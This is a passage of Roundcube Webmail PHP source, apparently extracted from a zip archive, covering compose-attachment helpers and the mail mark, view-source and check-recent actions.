                    $body = substr($body, 0, max(0, $sp-1));
                }
                break;
            }
        }

        return $body;
    }

    public static function write_compose_attachments(&$message, $bodyIsHtml, &$message_body)
    {
        if (!empty($message->pgp_mime) || !empty(self::$COMPOSE['forward_attachments'])) {
            return;
        }

        $messages           = [];
        $loaded_attachments = [];

        if (!empty(self::$COMPOSE['attachments'])) {
            foreach ((array) self::$COMPOSE['attachments'] as $attachment) {
                $loaded_attachments[$attachment['name'] . $attachment['mimetype']] = $attachment;
            }
        }

        $rcmail   = rcmail::get_instance();
        $has_html = $message->has_html_part();

        foreach ((array) $message->mime_parts() as $pid => $part) {
            if ($part->mimetype == 'message/rfc822') {
                $messages[] = $part->mime_id;
            }

            if (
                $part->disposition == 'attachment'
                || ($part->disposition == 'inline' && $bodyIsHtml)
                || $part->filename
                || $part->mimetype == 'message/rfc822'
            ) {
                // skip parts that aren't valid attachments
                if ($part->ctype_primary == 'multipart' || $part->mimetype == 'application/ms-tnef') {
                    continue;
                }

                // skip message attachments in reply mode
                if ($part->ctype_primary == 'message' && self::$COMPOSE['mode'] == rcmail_sendmail::MODE_REPLY) {
                    continue;
                }

                // skip version.txt parts of multipart/encrypted messages
                if (!empty($message->pgp_mime) && $part->mimetype == 'application/pgp-encrypted' && $part->filename == 'version.txt') {
                    continue;
                }

                // skip attachments included in message/rfc822 attachment (#1486487, #1490607)
                foreach ($messages as $mimeid) {
                    if (strpos($part->mime_id, $mimeid . '.') === 0) {
                        continue 2;
                    }
                }

                $replace = null;

                // Skip inline images when not used in the body
                // Note: Apple Mail sends PDF files marked as inline (#7382)
                // Note: Apple clients send inline images even if there's no HTML body (#7414)
                if ($has_html && $part->disposition == 'inline' && $part->mimetype != 'application/pdf') {
                    if (!$bodyIsHtml) {
                        continue;
                    }

                    $idx = $part->content_id ? ('cid:' . $part->content_id) : $part->content_location ?? null;

                    if ($idx && isset(self::$CID_MAP[$idx]) && strpos($message_body, self::$CID_MAP[$idx]) !== false) {
                        $replace = self::$CID_MAP[$idx];
                    }
                    else {
                        continue;
                    }
                }
                // skip any other attachment on Reply
                else if (self::$COMPOSE['mode'] == rcmail_sendmail::MODE_REPLY) {
                    continue;
                }

                $key = self::attachment_name($part) . $part->mimetype;

                if (!empty($loaded_attachments[$key])) {
                    $attachment = $loaded_attachments[$key];
                }
                else {
                    $attachment = self::save_attachment($message, $pid, self::$COMPOSE['id']);
                }

                if ($attachment) {
                    if ($replace) {
                        $url = sprintf('%s&_id=%s&_action=display-attachment&_file=rcmfile%s',
                            $rcmail->comm_path, self::$COMPOSE['id'], $attachment['id']);

                        $message_body = str_replace($replace, $url, $message_body);
                    }
                }
            }
        }

        self::$COMPOSE['forward_attachments'] = true;
    }

    /**
     * Create a map of attachment content-id/content-locations
     */
    public static function cid_map($message)
    {
        if (!empty($message->pgp_mime)) {
            return [];
        }

        $messages = [];
        $map      = [];

        foreach ((array) $message->mime_parts() as $pid => $part) {
            if ($part->mimetype == 'message/rfc822') {
                $messages[] = $part->mime_id;
            }

            if (!empty($part->content_id) || !empty($part->content_location)) {
                // skip attachments included in message/rfc822 attachment (#1486487, #1490607)
                foreach ($messages as $mimeid) {
                    if (strpos($part->mime_id, $mimeid . '.') === 0) {
                        continue 2;
                    }
                }

                $url = sprintf('RCMAP%s', md5($message->folder . '/' . $message->uid . '/' . $pid));
                $idx = !empty($part->content_id) ? ('cid:' . $part->content_id) : $part->content_location;

                $map[$idx] = $url;
            }
        }

        return $map;
    }

    // Creates attachment(s) from the forwarded message(s)
    public static function write_forward_attachments()
    {
        if (!empty(self::$MESSAGE->pgp_mime)) {
            return;
        }

        $rcmail      = rcmail::get_instance();
        $storage     = $rcmail->get_storage();
        $names       = [];
        $refs        = [];
        $size_errors = 0;
        $size_limit  = parse_bytes($rcmail->config->get('max_message_size'));
        $total_size  = 10 * 1024; // size of message body, to start with

        $loaded_attachments = [];

        if (!empty(self::$COMPOSE['attachments'])) {
            foreach ((array) self::$COMPOSE['attachments'] as $attachment) {
                $loaded_attachments[$attachment['name'] . $attachment['mimetype']] = $attachment;
                $total_size += $attachment['size'];
            }
        }

        if (self::$COMPOSE['forward_uid'] == '*') {
            $index = $storage->index(null, self::sort_column(), self::sort_order());
            self::$COMPOSE['forward_uid'] = $index->get();
        }
        else if (!is_array(self::$COMPOSE['forward_uid']) && strpos(self::$COMPOSE['forward_uid'], ':')) {
            self::$COMPOSE['forward_uid'] = rcube_imap_generic::uncompressMessageSet(self::$COMPOSE['forward_uid']);
        }
        else if (is_string(self::$COMPOSE['forward_uid'])) {
            self::$COMPOSE['forward_uid'] = explode(',', self::$COMPOSE['forward_uid']);
        }

        foreach ((array) self::$COMPOSE['forward_uid'] as $uid) {
            $message = new rcube_message($uid);

            if (empty($message->headers)) {
                continue;
            }

            if (!empty($message->headers->charset)) {
                $storage->set_charset($message->headers->charset);
            }

            if (empty(self::$MESSAGE->subject)) {
                self::$MESSAGE->subject = $message->subject;
            }

            if ($message->headers->get('bcc', false) || $message->headers->get('resent-bcc', false)) {
                self::$COMPOSE['has_bcc'] = true;
            }

            // generate (unique) attachment name
            $name = strlen($message->subject) ? mb_substr($message->subject, 0, 64) : 'message_rfc822';
            if (!empty($names[$name])) {
                $names[$name]++;
                $name .= '_' . $names[$name];
            }
            $names[$name] = 1;
            $name .= '.eml';

            if (!empty($loaded_attachments[$name . 'message/rfc822'])) {
                continue;
            }

            if ($size_limit && $size_limit < $total_size + $message->headers->size) {
                $size_errors++;
                continue;
            }

            $total_size += $message->headers->size;

            self::save_attachment($message, null, self::$COMPOSE['id'], ['filename' => $name]);

            if ($message->headers->messageID) {
                $refs[] = $message->headers->messageID;
            }
        }

        // set In-Reply-To and References headers
        if (count($refs) == 1) {
            self::$COMPOSE['reply_msgid'] = $refs[0];
        }

        if (!empty($refs)) {
            self::$COMPOSE['references'] = implode(' ', $refs);
        }

        if ($size_errors) {
            $limit = self::show_bytes($size_limit);
            $error = $rcmail->gettext([
                    'name' => 'msgsizeerrorfwd',
                    'vars' => ['num' => $size_errors, 'size' => $limit]
            ]);
            $script = sprintf("%s.display_message('%s', 'error');", rcmail_output::JS_OBJECT_NAME, rcube::JQ($error));
            $rcmail->output->add_script($script, 'docready');
        }
    }

    /**
     * Saves an image as attachment
     */
    public static function save_image($path, $mimetype = '', $data = null)
    {
        $is_file = false;

        // handle attachments in memory
        if (empty($data)) {
            $data    = file_get_contents($path);
            $is_file = true;
        }

        $name = self::basename($path);

        if (empty($mimetype)) {
            if ($is_file) {
                $mimetype = rcube_mime::file_content_type($path, $name);
            }
            else {
                $mimetype = rcube_mime::file_content_type($data, $name, 'application/octet-stream', true);
            }
        }

        $attachment = [
            'group'    => self::$COMPOSE['id'],
            'name'     => $name,
            'mimetype' => $mimetype,
            'data'     => $data,
            'size'     => strlen($data),
        ];

        $attachment = rcmail::get_instance()->plugins->exec_hook('attachment_save', $attachment);

        if ($attachment['status']) {
            unset($attachment['data'], $attachment['status'], $attachment['content_id'], $attachment['abort']);
            return $attachment;
        }

        return false;
    }

    /**
     * Unicode-safe basename()
     */
    public static function basename($filename)
    {
        // basename() is not unicode safe and locale dependent
        if (stristr(PHP_OS, 'win') || stristr(PHP_OS, 'netware')) {
            return preg_replace('/^.*[\\\\\\/]/', '', $filename);
        }
        else {
            return preg_replace('/^.*[\/]/', '', $filename);
        }
    }

    /**
     * Handler for template object 'composeObjects'
     *
     * @param array $attrib HTML attributes
     *
     * @return string HTML content
     */
    public static function compose_objects($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'compose-objects';
        }

        $rcmail  = rcmail::get_instance();
        $content = [];

        // Add a warning about Bcc recipients
        if (!empty(self::$COMPOSE['has_bcc'])) {
            $msg        = html::span(null, rcube::Q($rcmail->gettext('bccemail')));
            $msg_attrib = ['id' => 'bcc-warning', 'class' => 'boxwarning'];
            $content[]  = html::div($msg_attrib, $msg);
        }

        $plugin = $rcmail->plugins->exec_hook('compose_objects',
            ['content' => $content, 'message' => self::$MESSAGE]);

        $content = implode("\n", $plugin['content']);

        return $content ? html::div($attrib, $content) : '';
    }

    /**
     * Attachments list object for templates
     */
    public static function compose_attachment_list($attrib)
    {
        // add ID if not given
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmAttachmentList';
        }

        $rcmail = rcmail::get_instance();
        $out    = '';
        $button = '';
        $jslist = [];

        if (!empty($attrib['icon_pos']) && $attrib['icon_pos'] == 'left') {
            self::$COMPOSE['icon_pos'] = 'left';
        }
        $icon_pos = self::$COMPOSE['icon_pos'] ?? null;

        if (!empty(self::$COMPOSE['attachments'])) {
            if (!empty($attrib['deleteicon'])) {
                $button = html::img([
                        'src' => $rcmail->output->asset_url($attrib['deleteicon'], true),
                        'alt' => $rcmail->gettext('delete')
                ]);
            }
            else if (self::get_bool_attr($attrib, 'textbuttons')) {
                $button = rcube::Q($rcmail->gettext('delete'));
            }

            foreach (self::$COMPOSE['attachments'] as $id => $a_prop) {
                if (empty($a_prop)) {
                    continue;
                }

                $link_content = sprintf(
                    '<span class="attachment-name" onmouseover="rcube_webmail.long_subject_title_ex(this)">%s</span>'
                        . ' <span class="attachment-size">(%s)</span>',
                    rcube::Q($a_prop['name']),
                    self::show_bytes($a_prop['size'])
                );

                $content_link = html::a([
                        'href'     => '#load',
                        'class'    => 'filename',
                        'onclick'  => sprintf(
                            "return %s.command('load-attachment','rcmfile%s', this, event)",
                            rcmail_output::JS_OBJECT_NAME,
                            $id
                        ),
                        'tabindex' => !empty($attrib['tabindex']) ? $attrib['tabindex'] : '0',
                    ],
                    $link_content
                );

                $delete_link = html::a([
                        'href'    => '#delete',
                        'title'   => $rcmail->gettext('delete'),
                        'onclick' => sprintf(
                            "return %s.command('remove-attachment','rcmfile%s', this, event)",
                            rcmail_output::JS_OBJECT_NAME,
                            $id
                        ),
                        'class'      => 'delete',
                        'tabindex'   => !empty($attrib['tabindex']) ? $attrib['tabindex'] : '0',
                        'aria-label' => $rcmail->gettext('delete') . ' ' . $a_prop['name'],
                    ],
                    $button
                );

                $out .= html::tag('li', [
                        'id'    => 'rcmfile' . $id,
                        'class' => rcube_utils::file2class($a_prop['mimetype'], $a_prop['name']),
                    ],
                    $icon_pos == 'left' ? $delete_link.$content_link : $content_link.$delete_link
                );

                $jslist['rcmfile'.$id] = [
                    'name'     => $a_prop['name'],
                    'complete' => true,
                    'mimetype' => $a_prop['mimetype']
                ];
            }
        }

        if (!empty($attrib['deleteicon'])) {
            self::$COMPOSE['deleteicon'] = $rcmail->output->asset_url($attrib['deleteicon'], true);
        }
        else if (self::get_bool_attr($attrib, 'textbuttons')) {
            self::$COMPOSE['textbuttons'] = true;
        }
        if (!empty($attrib['cancelicon'])) {
            $rcmail->output->set_env('cancelicon', $rcmail->output->asset_url($attrib['cancelicon'], true));
        }
        if (!empty($attrib['loadingicon'])) {
            $rcmail->output->set_env('loadingicon', $rcmail->output->asset_url($attrib['loadingicon'], true));
        }

        $rcmail->output->set_env('attachments', $jslist);
        $rcmail->output->add_gui_object('attachmentlist', $attrib['id']);

        // put tabindex value into data-tabindex attribute
        if (isset($attrib['tabindex'])) {
            $attrib['data-tabindex'] = $attrib['tabindex'];
            unset($attrib['tabindex']);
        }

        return html::tag('ul', $attrib, $out, html::$common_attrib);
    }

    /**
     * Attachment upload form object for templates
     */
    public static function compose_attachment_form($attrib)
    {
        $rcmail = rcmail::get_instance();

        // Limit attachment size according to message size limit
        $limit = parse_bytes($rcmail->config->get('max_message_size')) / 1.33;

        return self::upload_form($attrib, 'uploadform', 'send-attachment', ['multiple' => true], $limit);
    }

    /**
     * Register a certain container as active area to drop files onto
     */
    public static function compose_file_drop_area($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (!empty($attrib['id'])) {
            $rcmail->output->add_gui_object('filedrop', $attrib['id']);
            $rcmail->output->set_env('filedrop', ['action' => 'upload', 'fieldname' => '_attachments']);
        }
    }

    /**
     * Editor mode selector object for templates
     */
    public static function editor_selector($attrib)
    {
        $rcmail = rcmail::get_instance();

        // determine whether HTML or plain text should be checked
        $useHtml = self::compose_editor_mode();

        if (empty($attrib['editorid'])) {
            $attrib['editorid'] = 'rcmComposeBody';
        }

        if (empty($attrib['name'])) {
            $attrib['name'] = 'editorSelect';
        }

        $attrib['onchange'] = "return rcmail.command('toggle-editor', {id: '".$attrib['editorid']."', html: this.value == 'html'}, '', event)";

        $select = new html_select($attrib);

        $select->add(rcube::Q($rcmail->gettext('htmltoggle')), 'html');
        $select->add(rcube::Q($rcmail->gettext('plaintoggle')), 'plain');

        return $select->show($useHtml ? 'html' : 'plain');
    }

    /**
     * Addressbooks list object for templates
     */
    public static function addressbook_list($attrib = [])
    {
        $rcmail = rcmail::get_instance();

        $attrib += ['id' => 'rcmdirectorylist'];

        $line_templ = html::tag('li',
            ['id' => 'rcmli%s', 'class' => '%s'],
            html::a([
                    'href'    => '#list',
                    'rel'     => '%s',
                    'onclick' => "return ".rcmail_output::JS_OBJECT_NAME.".command('list-addresses','%s',this)"
                ],
                '%s'
            )
        );

        $out = '';

        foreach ($rcmail->get_address_sources(false, true) as $j => $source) {
            $id = strval(strlen($source['id']) ? $source['id'] : $j);
            $js_id = rcube::JQ($id);

            // set class name(s)
            $class_name = 'addressbook';
            if (!empty($source['class_name'])) {
                $class_name .= ' ' . $source['class_name'];
            }

            $out .= sprintf($line_templ,
                rcube_utils::html_identifier($id,true),
                $class_name,
                $source['id'],
                $js_id,
                !empty($source['name']) ? $source['name'] : $id
            );
        }

        $rcmail->output->add_gui_object('addressbookslist', $attrib['id']);

        return html::tag('ul', $attrib, $out, html::$common_attrib);
    }

    /**
     * Contacts list object for templates
     */
    public static function contacts_list($attrib = [])
    {
        $rcmail = rcmail::get_instance();

        $attrib += ['id' => 'rcmAddressList'];

        // set client env
        $rcmail->output->add_gui_object('contactslist', $attrib['id']);
        $rcmail->output->set_env('pagecount', 0);
        $rcmail->output->set_env('current_page', 0);
        $rcmail->output->include_script('list.js');

        return $rcmail->table_output($attrib, [], ['name'], 'ID');
    }

    /**
     * Responses list object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public static function compose_responses_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        $attrib += ['id' => 'rcmresponseslist', 'tagname' => 'ul', 'cols' => 1, 'itemclass' => ''];

        $list = new html_table($attrib);

        foreach ($rcmail->get_compose_responses() as $response) {
            $item = html::a([
                    'href'         => '#response-' . urlencode($response['id']),
                    'class'        => rtrim('insertresponse ' . $attrib['itemclass']),
                    'unselectable' => 'on',
                    'tabindex'     => '0',
                    'onclick'      => sprintf(
                        "return %s.command('insert-response', '%s', this, event)",
                        rcmail_output::JS_OBJECT_NAME,
                        rcube::JQ($response['id'])
                    ),
                ],
                rcube::Q($response['name'])
            );

            $list->add([], $item);
        }

        // add placeholder text when there are no responses available
        if (!empty($attrib['list-placeholder']) && $list->size() == 0) {
            $list->add([], html::a([
                    'href'          => '#',
                    'class'         => rtrim('insertresponse placeholder disabled'),
                    'unselectable'  => 'on',
                    'tabindex'      => '0',
                    'aria-disabled' => 'true',
                ],
                rcube::Q($rcmail->gettext($attrib['list-placeholder']))
            ));
        }

        $rcmail->output->add_gui_object('responseslist', $attrib['id']);

        return $list->show();
    }

    public static function save_attachment($message, $pid, $compose_id, $params = [])
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

        if ($pid) {
            // attachment requested
            $part     = $message->mime_parts[$pid];
            $size     = $part->size;
            $mimetype = $part->ctype_primary . '/' . $part->ctype_secondary;
            $filename = !empty($params['filename']) ? $params['filename'] : self::attachment_name($part);
        }
        else if ($message instanceof rcube_message) {
            // the whole message requested
            $size     = $message->size ?? null;
            $mimetype = 'message/rfc822';
            $filename = !empty($params['filename']) ? $params['filename'] : 'message_rfc822.eml';
        }
        else if (is_string($message)) {
            // the whole message requested
            $size     = strlen($message);
            $data     = $message;
            $mimetype = $params['mimetype'];
            $filename = $params['filename'];
        }
        else {
            return;
        }

        if (!isset($data)) {
            $data = null;
            $path = null;

            // don't load too big attachments into memory
            if (!rcube_utils::mem_check($size)) {
                $path = rcube_utils::temp_filename('attmnt');

                if ($fp = fopen($path, 'w')) {
                    if ($pid) {
                        // part body
                        $message->get_part_body($pid, false, 0, $fp);
                    }
                    else {
                        // complete message
                        $storage->get_raw_body($message->uid, $fp);
                    }

                    fclose($fp);
                }
                else {
                    return false;
                }
            }
            else if ($pid) {
                // part body
                $data = $message->get_part_body($pid);
            }
            else {
                // complete message
                $data = $storage->get_raw_body($message->uid);
            }
        }

        $attachment = [
            'group'      => $compose_id,
            'name'       => $filename,
            'mimetype'   => $mimetype,
            'content_id' => !empty($part) && isset($part->content_id) ? $part->content_id : null,
            'data'       => $data,
            'path'       => $path ?? null,
            'size'       => isset($path) ? filesize($path) : strlen($data),
            'charset'    => !empty($part) ? $part->charset : ($params['charset'] ?? null),
        ];

        $attachment = $rcmail->plugins->exec_hook('attachment_save', $attachment);

        if ($attachment['status']) {
            unset($attachment['data'], $attachment['status'], $attachment['content_id'], $attachment['abort']);

            // rcube_session::append() replaces current session data with the old values
            // (in rcube_session::reload()). This is a problem in 'compose' action, because before
            // the first append() use we set some important data in the session.
            // It also overwrites attachments list. Fixing reload() is not so simple if possible
            // as we don't really know what has been added and what removed in meantime.
            // So, for now we'll do not use append() on 'compose' action (#1490608).

            if ($rcmail->action == 'compose') {
                self::$COMPOSE['attachments'][$attachment['id']] = $attachment;
            }
            else {
                $rcmail->session->append('compose_data_' . $compose_id . '.attachments', $attachment['id'], $attachment);
            }

            return $attachment;
        }
        else if (!empty($path)) {
            @unlink($path);
        }

        return false;
    }

    /**
     * Add quotation (>) to a replied message text.
     *
     * @param string $text Text to quote
     *
     * @return string The quoted text
     */
    public static function quote_text($text)
    {
        $lines = preg_split('/\r?\n/', trim($text));
        $out   = '';

        foreach ($lines as $line) {
            $quoted = isset($line[0]) && $line[0] == '>';
            $out .= '>' . ($quoted ? '' : ' ') . $line . "\n";
        }

        return rtrim($out, "\n");
    }
}
PK
h�\�\44program/actions/mail/mark.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Mark the submitted messages with the specified flag                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_mark extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $_uids   = rcube_utils::get_input_value('_uid', rcube_utils::INPUT_POST);
        $flag    = rcube_utils::get_input_string('_flag', rcube_utils::INPUT_POST);
        $folders = rcube_utils::get_input_string('_folders', rcube_utils::INPUT_POST);
        $mbox    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST);

        if (empty($_uids) || empty($flag)) {
            $rcmail->output->show_message('internalerror', 'error');
            $rcmail->output->send();
        }

        $rcmail       = rcmail::get_instance();
        $threading    = (bool) $rcmail->storage->get_threading();
        $skip_deleted = (bool) $rcmail->config->get('skip_deleted');
        $read_deleted = (bool) $rcmail->config->get('read_when_deleted');
        $flag         = self::imap_flag($flag);
        $old_count    = 0;
        $from         = $_POST['_from'] ?? null;

        if ($flag == 'DELETED' && $skip_deleted && $from != 'show') {
            // count messages before changing anything
            $old_count = $rcmail->storage->count(null, $threading ? 'THREADS' : 'ALL');
        }

        if ($folders == 'all') {
            $mboxes = $rcmail->storage->list_folders_subscribed('', '*', 'mail');
            $input  = array_combine($mboxes, array_fill(0, count($mboxes), '*'));
        }
        else if ($folders == 'sub') {
            $delim  = $rcmail->storage->get_hierarchy_delimiter();
            $mboxes = $rcmail->storage->list_folders_subscribed($mbox . $delim, '*', 'mail');
            array_unshift($mboxes, $mbox);
            $input = array_combine($mboxes, array_fill(0, count($mboxes), '*'));
        }
        else if ($folders == 'cur') {
            $input = [$mbox => '*'];
        }
        else {
            $input = self::get_uids(null, null, $dummy, rcube_utils::INPUT_POST);
        }

        $marked = 0;
        $count  = 0;
        $read   = 0;

        foreach ($input as $mbox => $uids) {
            $marked += (int) $rcmail->storage->set_flag($uids, $flag, $mbox);
            $count  += is_array($uids) ? count($uids) : 1;
        }

        if (!$marked) {
            // send error message
            if ($from != 'show') {
                $rcmail->output->command('list_mailbox');
            }

            self::display_server_error('errormarking');
            $rcmail->output->send();
        }
        else if (empty($_POST['_quiet'])) {
            $rcmail->output->show_message('messagemarked', 'confirmation');
        }

        if ($flag == 'DELETED' && $read_deleted && !empty($_POST['_ruid'])) {
            if ($ruids = rcube_utils::get_input_value('_ruid', rcube_utils::INPUT_POST)) {
                foreach (self::get_uids($ruids) as $mbox => $uids) {
                    $read += (int) $rcmail->storage->set_flag($uids, 'SEEN', $mbox);
                }
            }

            if ($read && !$skip_deleted) {
                $rcmail->output->command('flag_deleted_as_read', $ruids);
            }
        }

        if ($flag == 'SEEN' || $flag == 'UNSEEN' || ($flag == 'DELETED' && !$skip_deleted)) {
            foreach ($input as $mbox => $uids) {
                self::send_unread_count($mbox);
            }

            $rcmail->output->set_env('last_flag', $flag);
        }
        else if ($flag == 'DELETED' && $skip_deleted) {
            if ($from == 'show') {
                if ($next = rcube_utils::get_input_value('_next_uid', rcube_utils::INPUT_GPC)) {
                    $rcmail->output->command('show_message', $next);
                }
                else {
                    $rcmail->output->command('command', 'list');
                }
            }
            else {
                $search_request = rcube_utils::get_input_value('_search', rcube_utils::INPUT_GPC);

                // refresh saved search set after moving some messages
                if ($search_request && $rcmail->storage->get_search_set()) {
                    $_SESSION['search'] = $rcmail->storage->refresh_search();
                }

                $msg_count      = $rcmail->storage->count(NULL, $threading ? 'THREADS' : 'ALL');
                $page_size      = $rcmail->storage->get_pagesize();
                $page           = $rcmail->storage->get_page();
                $pages          = ceil($msg_count / $page_size);
                $nextpage_count = $old_count - $page_size * $page;
                $remaining      = $msg_count - $page_size * ($page - 1);
                $jump_back      = false;

                // jump back one page (user removed the whole last page)
                if ($page > 1 && $remaining == 0) {
                    $page -= 1;
                    $rcmail->storage->set_page($page);
                    $_SESSION['page'] = $page;
                    $jump_back = true;
                }

                foreach ($input as $mbox => $uids) {
                    self::send_unread_count($mbox, true);
                }

                // update message count display
                $rcmail->output->set_env('messagecount', $msg_count);
                $rcmail->output->set_env('current_page', $page);
                $rcmail->output->set_env('pagecount', $pages);
                $rcmail->output->command('set_rowcount', self::get_messagecount_text($msg_count), $mbox);

                if ($threading) {
                    $count = rcube_utils::get_input_value('_count', rcube_utils::INPUT_POST);
                }

                // add new rows from next page (if any)
                if ($old_count && $_uids != '*' && ($jump_back || $nextpage_count > 0)) {
                    // #5862: Don't add more rows than it was on the next page
                    $count = $jump_back ? null : min($nextpage_count, $count);

                    $a_headers = $rcmail->storage->list_messages($mbox, null,
                        self::sort_column(), self::sort_order(), $count);

                    self::js_message_list($a_headers, false);
               }
            }
        }

        $rcmail->output->send();
    }

    /**
     * Map Roundcube UI's flag label into IMAP flag
     *
     * @param string $flag Flag label
     *
     * @return string Uppercase IMAP flag
     */
    public static function imap_flag($flag)
    {
        $flags_map = [
            'undelete'  => 'UNDELETED',
            'delete'    => 'DELETED',
            'read'      => 'SEEN',
            'unread'    => 'UNSEEN',
            'flagged'   => 'FLAGGED',
            'unflagged' => 'UNFLAGGED',
        ];

        return !empty($flags_map[$flag]) ? $flags_map[$flag] : strtoupper($flag);
    }
}
PK
h�\(�~yy#program/actions/mail/viewsource.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Display a mail message similar as a usual mail application does     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_viewsource extends rcmail_action
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if (!empty($_GET['_save'])) {
            $rcmail->request_security_check(rcube_utils::INPUT_GET);
        }

        ob_end_clean();

        // similar code as in program/steps/mail/get.inc
        if ($uid = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GET)) {
            if ($pos = strpos($uid, '.')) {
                $message = new rcube_message($uid);
                $headers = $message->headers;
                $part_id = substr($uid, $pos + 1);
            }
            else {
                $headers = $rcmail->storage->get_message_headers($uid);
            }

            $charset  = $headers->charset ?: $rcmail->config->get('default_charset', RCUBE_CHARSET);
            $filename = '';
            $params   = [
                'type'         => 'text/plain',
                'type_charset' => $charset,
            ];

            if (!empty($_GET['_save'])) {
                $subject  = rcube_mime::decode_header($headers->subject, $headers->charset);
                $filename = self::filename_from_subject(mb_substr($subject, 0, 128));
                $filename = ($filename ?: $uid)  . '.eml';

                $params['length'] = $headers->size;
                $params['disposition'] = 'attachment';
            }
            else {
                // Make sure it works in an iframe (#9084)
                $rcmail->output->page_headers();

                $params['disposition'] = 'inline';
            }

            $rcmail->output->download_headers($filename, $params);

            if (isset($part_id) && isset($message)) {
                $message->get_part_body($part_id, empty($_GET['_save']), 0, -1);
            }
            else {
                $rcmail->storage->print_raw_body($uid, empty($_GET['_save']));
            }
        }
        else {
            rcube::raise_error([
                    'code'    => 500,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "Message UID $uid not found"
                ],
                true, true
            );
        }

        exit;
    }

    /**
     * Helper function to convert message subject into filename
     */
    public static function filename_from_subject($str)
    {
        $str = preg_replace('/[:\t\n\r\0\x0B\/]+\s*/', ' ', $str);

        return trim($str, " \t\n\r\0\x0B./_");
    }
}
PK
h�\�kHC�"�"%program/actions/mail/check_recent.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Check for recent messages, in all mailboxes                         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_check_recent extends rcmail_action_mail_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // If there's no folder or messages list, there's nothing to update
        // This can happen on 'refresh' request
        if (empty($_POST['_folderlist']) && empty($_POST['_list'])) {
            return;
        }

        $trash     = $rcmail->config->get('trash_mbox');
        $current   = $rcmail->storage->get_folder();
        $check_all = $rcmail->action != 'refresh' || (bool) $rcmail->config->get('check_all_folders');
        $page      = $rcmail->storage->get_page();
        $page_size = $rcmail->storage->get_pagesize();

        $search_request = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC);
        if ($search_request && $_SESSION['search_request'] != $search_request) {
            $search_request = null;
        }

        // list of folders to check
        if ($check_all) {
            $a_mailboxes = $rcmail->storage->list_folders_subscribed('', '*', 'mail');
        }
        else if ($search_request && isset($_SESSION['search'][1]) && is_object($_SESSION['search'][1])) {
            $a_mailboxes = (array) $_SESSION['search'][1]->get_parameters('MAILBOX');
        }
        else {
            $a_mailboxes = (array) $current;
            if ($current != 'INBOX') {
                $a_mailboxes[] = 'INBOX';
            }
        }

        // Control folders list from a plugin
        $plugin       = $rcmail->plugins->exec_hook('check_recent', ['folders' => $a_mailboxes, 'all' => $check_all]);
        $a_mailboxes  = $plugin['folders'];
        $list_cleared = false;

        self::storage_fatal_error();

        // check recent/unseen counts
        foreach ($a_mailboxes as $mbox_name) {
            $is_current = $mbox_name == $current
                || (
                    !empty($search_request)
                    && isset($_SESSION['search'][1])
                    && is_object($_SESSION['search'][1])
                    && in_array($mbox_name, (array)$_SESSION['search'][1]->get_parameters('MAILBOX'))
                );

            if ($is_current) {
                // Synchronize mailbox cache, handle flag changes
                $rcmail->storage->folder_sync($mbox_name);
            }

            // Get mailbox status
            $status = $rcmail->storage->folder_status($mbox_name, $diff);

            if ($is_current) {
                self::storage_fatal_error();
            }

            if ($status & 1) {
                // trigger plugin hook
                $rcmail->plugins->exec_hook('new_messages', [
                        'mailbox'    => $mbox_name,
                        'is_current' => $is_current,
                        'diff'       => $diff
                ]);
            }

            self::send_unread_count($mbox_name, true, null, (!$is_current && ($status & 1)) ? 'recent' : '');

            if ($status && $is_current) {
                // refresh saved search set
                if (!empty($search_request) && isset($_SESSION['search'])) {
                    unset($search_request);  // only do this once
                    $_SESSION['search'] = $rcmail->storage->refresh_search();
                    if (!empty($_SESSION['search'][1]->multi)) {
                        $mbox_name = '';
                    }
                }

                if (!empty($_POST['_quota'])) {
                    $rcmail->output->command('set_quota', self::quota_content(null, $mbox_name));
                }

                $rcmail->output->set_env('exists', $rcmail->storage->count($mbox_name, 'EXISTS', true));

                // "No-list" mode, don't get messages
                if (empty($_POST['_list'])) {
                    continue;
                }

                // get overall message count; allow caching because rcube_storage::folder_status()
                // did a refresh but only in list mode
